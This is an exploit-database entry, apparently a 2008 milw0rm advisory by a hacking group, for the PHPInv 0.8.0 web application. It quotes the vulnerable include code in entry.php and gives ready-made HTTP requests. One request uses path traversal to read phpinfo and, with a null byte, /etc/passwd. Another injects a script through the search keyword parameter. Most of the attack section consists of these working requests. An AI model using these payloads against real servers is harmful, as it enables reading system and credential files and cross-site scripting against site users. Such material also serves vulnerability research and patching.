Exploit phpinv 0.8.0 - Local File Inclusion / Cross-Site Scripting

[Exploiter]

EDB-ID

5754

Проверка EDB

1. Пройдено

Автор

CWH UNDERGROUND

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-2695 cve-2008-2694

Дата публикации

2008-06-08

=========================================================
 PHPInv 0.8.0 (LFI/XSS) Multiple Remote Vulnerabilities
=========================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 8 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : PHPInv
 VERSION     : 0.8.0
 DOWNLOAD    : http://sourceforge.net/projects/phpinv
#####################################################

---LFI---

##############################################
Vulnerable: entry.php (?action=)

43:	if (isset($action) & !isset($noconfirm)) {
44:		include("inc/entry_$action.php");
45:	}

###############################################

---Description---

   Use Web Proxy (Web Scarab, Burb Proxy, etc...) to intercept URI -> 
http://[target]/[phpinv_path]/entry.php?hash=19e9abf204087d0765f81c5bfb1a6fef&categoryid=1&orderby=10&action=test

   Then You can change detail in GET request for this URI, Example

[-]GET http://192.168.1.103:80/phpinv/entry.php?hash=19e9abf204087d0765f81c5bfb1a6fef&categoryid=1&orderby=10&action=/../../../../../phpinfo HTTP/1.1
[-]Accept: */*
[-]User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
[-]Host: 192.168.1.103
[-]Connection: Close
[-]Pragma: no-cache

   Now you can see phpinfo.php in PHPInv page...  :) 

Tip!! http://192.168.1.103:80/phpinv/entry.php?hash=19e9abf204087d0765f81c5bfb1a6fef&categoryid=1&orderby=10&action=/../../../../../etc/passwd%00 HTTP/1.1


---XSS---

[+]search.php (keyword)

GET http://192.168.1.103:80/phpinv/search.php?hash=19e9abf204087d0765f81c5bfb1a6fef&keyword=>"><script>alert(123);</script>&categoryid=1&action=Search HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 192.168.1.103
Connection: Close
Pragma: no-cache


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-08]